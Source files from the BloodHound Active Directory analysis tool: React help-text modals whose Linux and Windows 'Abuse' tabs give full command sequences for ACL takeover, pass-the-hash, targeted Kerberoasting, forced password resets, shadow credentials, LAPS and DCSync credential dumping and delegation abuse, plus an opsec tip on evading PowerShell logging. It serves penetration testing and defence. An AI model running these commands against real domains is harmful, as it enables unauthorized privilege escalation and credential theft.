import React from 'react';
const References = () => {
return (
<>
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url#get-azurekeyvaultcontent'>
path_to_url#get-azurekeyvaultcontent
</a>
</>
);
};
export default References;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZGetSecrets/References.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 79 |
```jsx
import React from 'react';
const General = () => {
return <p>The ability to read certificates from key vaults</p>;
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZGetCertificates/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 34 |
```jsx
import React from 'react';
const Abuse = () => {
return (
<>
<p>
Use PowerShell or PowerZure to fetch the certificate from the
key vault
</p>
<p>Via PowerZure</p>
<a href='path_to_url#get-azurekeyvaultcontent'>
Get-AzureKeyVaultContent
</a>
<br />
<a href='path_to_url#export-azurekeyvaultcontent'>
Export-AzureKeyVaultcontent
</a>
</>
);
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZGetCertificates/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 123 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const AZGetCertificates = ({
sourceName,
sourceType,
targetName,
targetType,
}) => {
return (
<Tabs defaultActiveKey={1} id='tab-style' bsStyle='pills' justified>
<Tab eventKey={1} title='INFO'>
<General />{' '}
</Tab>
<Tab eventKey={2} title='ABUSE'>
<Abuse />
</Tab>
<Tab eventKey={3} title='OPSEC'>
<Opsec />
</Tab>
<Tab eventKey={4} title='REFERENCES'>
<References />
</Tab>
</Tabs>
);
};
AZGetCertificates.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default AZGetCertificates;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZGetCertificates/AZGetCertificates.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 234 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { groupSpecialFormat, typeFormat } from '../Formatter';
const General = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<>
<p>
{groupSpecialFormat(sourceType, sourceName)} ownership of the{' '}
{typeFormat(targetType)} {targetName}.
</p>
<p>
Object owners retain the ability to modify object security
descriptors, regardless of permissions on the object's DACL
</p>
</>
);
};
General.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/Owns/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 157 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
const LinuxAbuse = ({
sourceName,
sourceType,
targetName,
targetType,
targetId,
haslaps,
}) => {
switch (targetType) {
case 'Group':
return (
<>
<h4> Modifying the rights </h4>
<p>
To abuse ownership of a group object, you may grant
yourself the AddMember privilege.
</p>
<p>
Impacket's dacledit can be used for that purpose (cf.
"grant rights" reference for the link).
</p>
<pre>
<code>
{
"dacledit.py -action 'write' -rights 'WriteMembers' -principal 'controlledUser' -target-dn 'groupDistinguidedName' 'domain'/'controlledUser':'password'"
}
</code>
</pre>
<h4> Adding to the group </h4>
<p>
You can now add members to the group.
</p>
<p>
Use samba's net tool to add the user to the target group. The credentials can be supplied in cleartext
or prompted interactively if omitted from the command line:
</p>
<pre>
<code>
{
'net rpc group addmem "TargetGroup" "TargetUser" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"'
}
</code>
</pre>
<p>
Pass-the-hash can also be done here with <a href='path_to_url net tool</a>.
If the LM hash is not known it must be replace with <code>ffffffffffffffffffffffffffffffff</code>.
</p>
<pre>
<code>
{
'pth-net rpc group addmem "TargetGroup" "TargetUser" -U "DOMAIN"/"ControlledUser"%"LMhash":"NThash" -S "DomainController"'
}
</code>
</pre>
<p>
Finally, verify that the user was successfully added to the group:
</p>
<pre>
<code>
{
'net rpc group members "TargetGroup" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"'
}
</code>
</pre>
<h4> Cleanup </h4>
<p>
Impacket's dacledit can be used for that purpose (cf.
"grant rights" reference for the link).
</p>
<pre>
<code>
{
"dacledit.py -action 'remove' -rights 'WriteMembers' -principal 'controlledUser' -target-dn 'groupDistinguidedName' 'domain'/'controlledUser':'password'"
}
</code>
</pre>
</>
);
case 'User':
return (
<>
<p>
To abuse ownership of a user object, you may grant
yourself the GenericAll privilege.
</p>
<p>
Impacket's dacledit can be used for that purpose (cf.
"grant rights" reference for the link).
</p>
<pre>
<code>
{
"dacledit.py -action 'write' -rights 'FullControl' -principal 'controlledUser' -target 'targetUser' 'domain'/'controlledUser':'password'"
}
</code>
</pre>
<p>
Cleanup of the added ACL can be performed later on with the same tool:
</p>
<h4> Targeted Kerberoast </h4>
<p>
A targeted kerberoast attack can be performed using{' '}
<a href='path_to_url
</p>
<pre>
<code>
{
"targetedKerberoast.py -v -d 'domain.local' -u 'controlledUser' -p 'ItsPassword'"
}
</code>
</pre>
<p>
The tool will automatically attempt a targetedKerberoast
attack, either on all users or against a specific one if
specified in the command line, and then obtain a crackable hash.
The cleanup is done automatically as well.
</p>
<p>
The recovered hash can be cracked offline using the tool
of your choice.
</p>
<h4> Force Change Password </h4>
<p>
Use samba's net tool to change the user's password. The credentials can be supplied in cleartext
or prompted interactively if omitted from the command line. The new password will be prompted
if omitted from the command line.
</p>
<pre>
<code>
{
'net rpc password "TargetUser" "newP@ssword2022" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"'
}
</code>
</pre>
<p>
Pass-the-hash can also be done here with <a href='path_to_url net tool</a>.
If the LM hash is not known it must be replace with <code>ffffffffffffffffffffffffffffffff</code>.
</p>
<pre>
<code>
{
'pth-net rpc password "TargetUser" "newP@ssword2022" -U "DOMAIN"/"ControlledUser"%"LMhash":"NThash" -S "DomainController"'
}
</code>
</pre>
<p>
Now that you know the target user's plain text password, you can
either start a new agent as that user, or use that user's
credentials in conjunction with PowerView's ACL abuse functions,
or perhaps even RDP to a system the target user has access to.
For more ideas and information, see the references tab.
</p>
<h4> Shadow Credentials attack </h4>
<p>To abuse this privilege, use <a href='path_to_url
<pre>
<code>{'pywhisker.py -d "domain.local" -u "controlledAccount" -p "somepassword" --target "targetAccount" --action "add"'}</code>
</pre>
<p>
For other optional parameters, view the pyWhisker documentation.
</p>
</>
);
case 'Computer':
if (haslaps) {
return (
<>
<p>
To abuse ownership of a computer object, you may
grant yourself the GenericAll privilege.
</p>
<p>
Impacket's dacledit can be used for that purpose (cf.
"grant rights" reference for the link).
</p>
<pre>
<code>
{
"dacledit.py -action 'write' -rights 'FullControl' -principal 'controlledUser' -target 'targetUser' 'domain'/'controlledUser':'password'"
}
</code>
</pre>
<p>
Cleanup of the added ACL can be performed later on with the same tool:
</p>
<h4> Retrieve LAPS Password </h4>
<p>
Full control of a computer object is abusable when
the computer's local admin account credential is
controlled with LAPS. The clear-text password for
the local administrator account is stored in an
extended attribute on the computer object called
ms-Mcs-AdmPwd. With full control of the computer
object, you may have the ability to read this
attribute, or grant yourself the ability to read the
attribute by modifying the computer object's
security descriptor.
</p>
<p>
<a href='path_to_url can be used
to retrieve LAPS passwords:
</p>
<pre>
<code>
{
'pyLAPS.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'
}
</code>
</pre>
<h4> Resource-Based Constrained Delegation </h4>
First, if an attacker does not control an account with an
SPN set, a new attacker-controlled computer account can be
added with Impacket's addcomputer.py example script:
<pre>
<code>
{
"addcomputer.py -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host $DomainController -domain-netbios $DOMAIN 'domain/user:password'"
}
</code>
</pre>
We now need to configure the target object so that the attacker-controlled
computer can delegate to it. Impacket's rbcd.py script can be used for that
purpose:
<pre>
<code>
{
"rbcd.py -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'TargetComputer' -action 'write' 'domain/user:password'"
}
</code>
</pre>
And finally we can get a service ticket for the service name (sname) we
want to "pretend" to be "admin" for. Impacket's getST.py example script
can be used for that purpose.
<pre>
<code>
{
"getST.py -spn 'cifs/targetcomputer.testlab.local' -impersonate 'admin' 'domain/attackersystem$:Summer2018!'"
}
</code>
</pre>
This ticket can then be used with Pass-the-Ticket, and could grant access
to the file system of the TARGETCOMPUTER.
<h4> Shadow Credentials attack </h4>
<p>To abuse this privilege, use <a href='path_to_url
<pre>
<code>{'pywhisker.py -d "domain.local" -u "controlledAccount" -p "somepassword" --target "targetAccount" --action "add"'}</code>
</pre>
<p>
For other optional parameters, view the pyWhisker documentation.
</p>
</>
);
} else {
return (
<>
<p>
To abuse ownership of a computer object, you may
grant yourself the GenericAll privilege.
</p>
<p>
Impacket's dacledit can be used for that purpose (cf.
"grant rights" reference for the link).
</p>
<pre>
<code>
{
"dacledit.py -action 'write' -rights 'FullControl' -principal 'controlledUser' -target 'targetUser' 'domain'/'controlledUser':'password'"
}
</code>
</pre>
<p>
Cleanup of the added ACL can be performed later on with the same tool:
</p>
<h4> Resource-Based Constrained Delegation </h4>
First, if an attacker does not control an account with an
SPN set, a new attacker-controlled computer account can be
added with Impacket's addcomputer.py example script:
<pre>
<code>
{
"addcomputer.py -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host $DomainController -domain-netbios $DOMAIN 'domain/user:password'"
}
</code>
</pre>
We now need to configure the target object so that the attacker-controlled
computer can delegate to it. Impacket's rbcd.py script can be used for that
purpose:
<pre>
<code>
{
"rbcd.py -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'TargetComputer' -action 'write' 'domain/user:password'"
}
</code>
</pre>
And finally we can get a service ticket for the service name (sname) we
want to "pretend" to be "admin" for. Impacket's getST.py example script
can be used for that purpose.
<pre>
<code>
{
"getST.py -spn 'cifs/targetcomputer.testlab.local' -impersonate 'admin' 'domain/attackersystem$:Summer2018!'"
}
</code>
</pre>
This ticket can then be used with Pass-the-Ticket, and could grant access
to the file system of the TARGETCOMPUTER.
<h4> Shadow Credentials attack </h4>
<p>To abuse this privilege, use <a href='path_to_url
<pre>
<code>{'pywhisker.py -d "domain.local" -u "controlledAccount" -p "somepassword" --target "targetAccount" --action "add"'}</code>
</pre>
<p>
For other optional parameters, view the pyWhisker documentation.
</p>
</>
);
}
case 'Domain':
return (
<>
<p>
To abuse ownership of a domain object, you may grant
yourself the DcSync privileges.
</p>
<p>
Impacket's dacledit can be used for that purpose (cf.
"grant rights" reference for the link).
</p>
<pre>
<code>
{
"dacledit.py -action 'DCSync' -rights 'FullControl' -principal 'controlledUser' -target-dn 'DomainDisinguishedName' 'domain'/'controlledUser':'password'"
}
</code>
</pre>
<p>
Cleanup of the added ACL can be performed later on with the same tool:
</p>
<h4> DCSync </h4>
<p>
The AllExtendedRights privilege grants {sourceName} both the
DS-Replication-Get-Changes and
DS-Replication-Get-Changes-All privileges, which combined
allow a principal to replicate objects from the domain{' '}
{targetName}.
</p>
<p>
This can be abused using Impacket's secretsdump.py example script:
</p>
<pre>
<code>
{
"secretsdump 'DOMAIN'/'USER':'PASSWORD'@'DOMAINCONTROLLER'"
}
</code>
</pre>
<h4> Retrieve LAPS Passwords </h4>
<p>
If FullControl (GenericAll) is obtained on the domain,
instead of granting DCSync rights, the AllExtendedRights
privilege included grants {sourceName} enough{' '}
privileges to retrieve LAPS passwords domain-wise.
</p>
<p>
<a href="path_to_url">pyLAPS</a> can be used
for that purpose:
</p>
<pre>
<code>
{
'pyLAPS.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'
}
</code>
</pre>
</>
);
case 'GPO':
return (
<>
<p>
To abuse ownership of a GPO, you may
grant yourself the GenericAll privilege.
</p>
<p>
Impacket's dacledit can be used for that purpose (cf.
"grant rights" reference for the link).
</p>
<pre>
<code>
{
"dacledit.py -action 'write' -rights 'FullControl' -principal 'controlledUser' -target 'targetUser' 'domain'/'controlledUser':'password'"
}
</code>
</pre>
<p>
Cleanup of the added ACL can be performed later on with the same tool:
</p>
<p>
With full control of a GPO, you may make modifications
to that GPO which will then apply to the users and
computers affected by the GPO. Select the target object
you wish to push an evil policy down to, then use the
gpedit GUI to modify the GPO, using an evil policy that
allows item-level targeting, such as a new immediate
scheduled task. Then wait at least 2 hours for the group
policy client to pick up and execute the new evil
policy. See the references tab for a more detailed write
up on this abuse.
</p>
<p>
<a href="path_to_url">pyGPOAbuse.py</a> can be used for that purpose.
</p>
</>
);
case 'OU':
return (
<>
<h4>Control of the Organization Unit</h4>
<p>
With ownership of the OU object, you may grant yourself
the GenericAll privilege.
</p>
<h4>Generic Descendent Object Takeover</h4>
<p>
The simplest and most straight forward way to abuse
control of the OU is to apply a GenericAll ACE on the OU
that will inherit down to all object types. This
can be done using Impacket's dacledit (cf. "grant rights"
reference for the link).
</p>
<pre>
<code>
{
"dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'JKHOLER' -target-dn 'OUDistinguishedName' 'domain'/'user':'password'"
}
</code>
</pre>
<p>
Now, the "JKOHLER" user will have full control of all
descendent objects of each type.
</p>
<h4>Targeted Descendent Object Takeoever</h4>
<p>
If you want to be more targeted with your approach, it
is possible to specify precisely what right you want to
apply to precisely which kinds of descendent objects.
Refer to the Windows Abuse info for this.
</p>
</>
);
case 'Container':
return (
<>
<h4>Control of the Container</h4>
<p>
With ownership of the container object, you may grant yourself
the GenericAll privilege.
</p>
<h4>Generic Descendent Object Takeover</h4>
<p>
The simplest and most straight forward way to abuse
control of the OU is to apply a GenericAll ACE on the OU
that will inherit down to all object types. This
can be done using Impacket's dacledit (cf. "grant rights"
reference for the link).
</p>
<pre>
<code>
{
"dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'JKHOLER' -target-dn 'containerDistinguishedName' 'domain'/'user':'password'"
}
</code>
</pre>
<p>
Now, the "JKOHLER" user will have full control of all
descendent objects of each type.
</p>
<h4>Targeted Descendent Object Takeoever</h4>
<p>
If you want to be more targeted with your approach, it
is possible to specify precisely what right you want to
apply to precisely which kinds of descendent objects.
Refer to the Windows Abuse info for this.
</p>
</>
);
}
};
LinuxAbuse.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
targetId: PropTypes.string,
haslaps: PropTypes.bool,
};
export default LinuxAbuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/Owns/LinuxAbuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 4,276 |
```jsx
import React from 'react';
const References = () => {
return (
<>
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url#s4u'>
path_to_url#s4u
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url#new-machineaccount'>
path_to_url#new-machineaccount
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
</>
);
};
export default References;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/Owns/References.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 413 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import WindowsAbuse from './WindowsAbuse';
import LinuxAbuse from './LinuxAbuse';
import Opsec from './Opsec';
import References from './References';
const Owns = ({ sourceName, sourceType, targetName, targetType, targetId }) => {
return (
<Tabs defaultActiveKey={1} id='help-tab-container' justified>
<Tab eventKey={1} title='Info'>
<General
sourceName={sourceName}
sourceType={sourceType}
targetName={targetName}
targetType={targetType}
/>
</Tab>
<Tab eventKey={2} title='Windows Abuse'>
<WindowsAbuse
sourceName={sourceName}
sourceType={sourceType}
targetName={targetName}
targetType={targetType}
targetId={targetId}
/>
</Tab>
<Tab eventKey={3} title='Linux Abuse'>
<LinuxAbuse
sourceName={sourceName}
sourceType={sourceType}
targetName={targetName}
targetType={targetType}
targetId={targetId}
/>
</Tab>
<Tab eventKey={4} title='Opsec'>
<Opsec />
</Tab>
<Tab eventKey={5} title='Refs'>
<References />
</Tab>
</Tabs>
);
};
Owns.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
targetId: PropTypes.string,
};
export default Owns;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/Owns/Owns.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 367 |
```jsx
import React from 'react';
const Opsec = () => {
return (
<>
<p>
When using the PowerView functions, keep in mind that PowerShell
v5 introduced several security mechanisms that make it much
easier for defenders to see what's going on with PowerShell in
their network, such as script block logging and AMSI. You can
bypass those security mechanisms by downgrading to PowerShell
v2, which all PowerView functions support.
</p>
<p>
Modifying permissions on an object will generate 4670 and 4662
events on the domain controller that handled the request.
</p>
<p>
Additional opsec considerations depend on the target object and
how to take advantage of this privilege. Opsec considerations
for each abuse primitive are documented on the specific abuse
edges and on the BloodHound wiki.
</p>
</>
);
};
export default Opsec;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/Owns/Opsec.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 206 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const HasSession = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<Tabs defaultActiveKey={1} id='tab-style' bsStyle='pills' justified>
<Tab eventKey={1} title='GENERAL' className='helptab'>
<General sourceName={sourceName} targetName={targetName} />
</Tab>
<Tab eventKey={2} title='ABUSE' className='helptab'>
<Abuse />
</Tab>
<Tab eventKey={3} title='OPSEC' className='helptab'>
<Opsec />
</Tab>
<Tab eventKey={4} title='REFERENCES' className='helptab'>
<References />
</Tab>
</Tabs>
);
};
HasSession.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default HasSession;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/HasSession/HasSession.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 260 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
const WindowsAbuse = ({
sourceName,
sourceType,
targetName,
targetType,
targetId,
haslaps,
}) => {
switch (targetType) {
case 'Group':
return (
<>
<p>
To abuse ownership of a group object, you may grant
yourself the AddMember privilege. This can be
accomplished using the Add-DomainObjectAcl function in
PowerView.
</p>
<p>
You may need to authenticate to the Domain Controller as{' '}
{sourceType === 'User'
? `${sourceName} if you are not running a process as that user`
: `a member of ${sourceName} if you are not running a process as a member`}
. To do this in conjunction with Add-DomainObjectAcl,
first create a PSCredential object (these examples comes
from the PowerView help documentation):
</p>
<pre>
<code>
{"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" +
"$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"}
</code>
</pre>
<p>
Then, use Add-DomainObjectAcl, optionally specifying
$Cred if you are not already running a process as{' '}
{sourceName}:
</p>
<pre>
<code>
{
'Add-DomainObjectAcl -Credential $Cred -TargetIdentity "Domain Admins" -Rights WriteMembers'
}
</code>
</pre>
<p>
You can now add members to the group using the net
binary or PowerView's Add-DomainGroupMember.
</p>
<p>
There are at least two ways to execute this attack. The
first and most obvious is by using the built-in net.exe
binary in Windows (e.g.: net group "Domain Admins"
harmj0y /add /domain). See the opsec considerations tab
for why this may be a bad idea. The second, and highly
recommended method, is by using the
Add-DomainGroupMember function in PowerView. This
function is superior to using the net.exe binary in
several ways. For instance, you can supply alternate
credentials, instead of needing to run a process as or
logon as the user with the AddMember privilege.
Additionally, you have much safer execution options than
you do with spawning net.exe (see the opsec tab).
</p>
<p>
To abuse this privilege with PowerView's
Add-DomainGroupMember, first import PowerView into your
agent session or into a PowerShell instance at the
console. You may need to authenticate to the Domain
Controller as{' '}
{sourceType === 'User'
? `${sourceName} if you are not running a process as that user`
: `a member of ${sourceName} if you are not running a process as a member`}
. To do this in conjunction with Add-DomainGroupMember,
first create a PSCredential object (these examples comes
from the PowerView help documentation):
</p>
<pre>
<code>
{"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" +
"$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"}
</code>
</pre>
<p>
Then, use Add-DomainGroupMember, optionally specifying
$Cred if you are not already running a process as{' '}
{sourceName}:
</p>
<pre>
<code>
{
"Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred"
}
</code>
</pre>
<p>
Finally, verify that the user was successfully added to
the group with PowerView's Get-DomainGroupMember:
</p>
<pre>
<code>
{"Get-DomainGroupMember -Identity 'Domain Admins'"}
</code>
</pre>
<p>
Cleanup for this can be done using
Remove-DomainObjectAcl
</p>
<pre>
<code>
{
'Remove-DomainObjectAcl - Credential $cred -TargetIdentity "Domain Admins" -Rights WriteMembers'
}
</code>
</pre>
</>
);
case 'User':
return (
<>
<p>
To abuse ownership of a user object, you may grant
yourself the GenericAll privilege. This can be
accomplished using the Add-DomainObjectAcl function in
PowerView.
</p>
<p>
You may need to authenticate to the Domain Controller as{' '}
{sourceType === 'User'
? `${sourceName} if you are not running a process as that user`
: `a member of ${sourceName} if you are not running a process as a member`}
. To do this in conjunction with Add-DomainObjectAcl,
first create a PSCredential object (these examples comes
from the PowerView help documentation):
</p>
<pre>
<code>
{"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" +
"$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"}
</code>
</pre>
<p>
Then, use Add-DomainObjectAcl, optionally specifying
$Cred if you are not already running a process as{' '}
{sourceName}:
</p>
<pre>
<code>
{
'Add-DomainObjectAcl -Credential $Cred -TargetIdentity harmj0y -Rights All'
}
</code>
</pre>
<h4> Targeted Kerberoast </h4>
<p>
A targeted kerberoast attack can be performed using
PowerView's Set-DomainObject along with
Get-DomainSPNTicket.
</p>
<p>
You may need to authenticate to the Domain Controller as{' '}
{sourceType === 'User'
? `${sourceName} if you are not running a process as that user`
: `a member of ${sourceName} if you are not running a process as a member`}
. To do this in conjunction with Set-DomainObject, first
create a PSCredential object (these examples comes from
the PowerView help documentation):
</p>
<pre>
<code>
{"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" +
"$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"}
</code>
</pre>
<p>
Then, use Set-DomainObject, optionally specifying $Cred
if you are not already running a process as {sourceName}
:
</p>
<pre>
<code>
{
"Set-DomainObject -Credential $Cred -Identity harmj0y -SET @{serviceprincipalname='nonexistent/BLAHBLAH'}"
}
</code>
</pre>
<p>
After running this, you can use Get-DomainSPNTicket as
follows:
</p>
<pre>
<code>
{
'Get-DomainSPNTicket -Credential $Cred harmj0y | fl'
}
</code>
</pre>
<p>
The recovered hash can be cracked offline using the tool
of your choice. Cleanup of the ServicePrincipalName can
be done with the Set-DomainObject command:
</p>
<pre>
<code>
{
'Set-DomainObject -Credential $Cred -Identity harmj0y -Clear serviceprincipalname'
}
</code>
</pre>
<h4> Force Change Password </h4>
<p>
There are at least two ways to execute this attack. The
first and most obvious is by using the built-in net.exe
binary in Windows (e.g.: net user dfm.a Password123!
/domain). See the opsec considerations tab for why this
may be a bad idea. The second, and highly recommended
method, is by using the Set-DomainUserPassword function
in PowerView. This function is superior to using the
net.exe binary in several ways. For instance, you can
supply alternate credentials, instead of needing to run
a process as or logon as the user with the
ForceChangePassword privilege. Additionally, you have
much safer execution options than you do with spawning
net.exe (see the opsec tab).
</p>
<p>
To abuse this privilege with PowerView's
Set-DomainUserPassword, first import PowerView into your
agent session or into a PowerShell instance at the
console. You may need to authenticate to the Domain
Controller as{' '}
{sourceType === 'User'
? `${sourceName} if you are not running a process as that user`
: `a member of ${sourceName} if you are not running a process as a member`}
. To do this in conjunction with Set-DomainUserPassword,
first create a PSCredential object (these examples comes
from the PowerView help documentation):
</p>
<pre>
<code>
{"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" +
"$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"}
</code>
</pre>
<p>
Then create a secure string object for the password you
want to set on the target user:
</p>
<pre>
<code>
{
"$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force"
}
</code>
</pre>
<p>
Finally, use Set-DomainUserPassword, optionally
specifying $Cred if you are not already running a
process as {sourceName}:
</p>
<pre>
<code>
{
'Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword -Credential $Cred'
}
</code>
</pre>
<p>
Now that you know the target user's plain text password,
you can either start a new agent as that user, or use
that user's credentials in conjunction with PowerView's
ACL abuse functions, or perhaps even RDP to a system the
target user has access to. For more ideas and
information, see the references tab.
</p>
<p>
Cleanup of the added ACL can be performed with
Remove-DomainObjectAcl:
</p>
<pre>
<code>
{
'Remove-DomainObjectAcl -Credential $Cred -TargetIdentity harmj0y -Rights All'
}
</code>
</pre>
</>
);
case 'Computer':
if (haslaps) {
return (
<>
<p>
To abuse ownership of a computer object, you may
grant yourself the GenericAll privilege.
</p>
<p>
You may need to authenticate to the Domain
Controller as{' '}
{sourceType === 'User'
? `${sourceName} if you are not running a process as that user`
: `a member of ${sourceName} if you are not running a process as a member`}
. To do this in conjunction with
Add-DomainObjectAcl, first create a PSCredential
object (these examples comes from the PowerView help
documentation):
</p>
<pre>
<code>
{"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" +
"$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"}
</code>
</pre>
<p>
Then, use Add-DomainObjectAcl, optionally specifying
$Cred if you are not already running a process as{' '}
{sourceName}:
</p>
<pre>
<code>
{
'Add-DomainObjectAcl -Credential $Cred -TargetIdentity windows1 -Rights All'
}
</code>
</pre>
<p>
Once you have granted yourself this privilege, you
may read the ms-Ads-AdmPwd attribute on the computer
object in LDAP which contains the local
administrator password.
</p>
<p>
Alternatively, you can execute a resource based
constrained delegation attack.
</p>
<p>
Abusing this primitive is currently only possible
through the Rubeus project.
</p>
<p>
First, if an attacker does not control an account
with an SPN set, Kevin Robertson's Powermad project
can be used to add a new attacker-controlled
computer account:
</p>
<pre>
<code>
{
"New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force)"
}
</code>
</pre>
<p>
PowerView can be used to then retrieve the security
identifier (SID) of the newly created computer
account:
</p>
<pre>
<code>
{
'$ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid'
}
</code>
</pre>
<p>
We now need to build a generic ACE with the
attacker-added computer SID as the principal, and
get the binary bytes for the new DACL/ACE:
</p>
<pre>
<code>
{'$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"\n' +
'$SDBytes = New-Object byte[] ($SD.BinaryLength)\n' +
'$SD.GetBinaryForm($SDBytes, 0)'}
</code>
</pre>
<p>
Next, we need to set this newly created security
descriptor in the
msDS-AllowedToActOnBehalfOfOtherIdentity field of
the comptuer account we're taking over, again using
PowerView in this case:
</p>
<pre>
<code>
{
"Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}"
}
</code>
</pre>
<p>
We can then use Rubeus to hash the plaintext
password into its RC4_HMAC form:
</p>
<pre>
<code>
{'Rubeus.exe hash /password:Summer2018!'}
</code>
</pre>
<p>
And finally we can use Rubeus' *s4u* module to get a
service ticket for the service name (sname) we want
to "pretend" to be "admin" for. This ticket is
injected (thanks to /ptt), and in this case grants
us access to the file system of the TARGETCOMPUTER:
</p>
<pre>
<code>
{
'Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:admin /msdsspn:cifs/TARGETCOMPUTER.testlab.local /ptt'
}
</code>
</pre>
<p>
Cleanup can be done using the Remove-DomainObjectAcl
function:
</p>
<pre>
<code>
{
'Remove-DomainObjectAcl -Credential $Cred -TargetIdentity windows1 -Rights All'
}
</code>
</pre>
</>
);
} else {
return (
<>
<p>
To abuse ownership of a computer object, you may
grant yourself the GenericAll privilege.
</p>
<p>
You may need to authenticate to the Domain
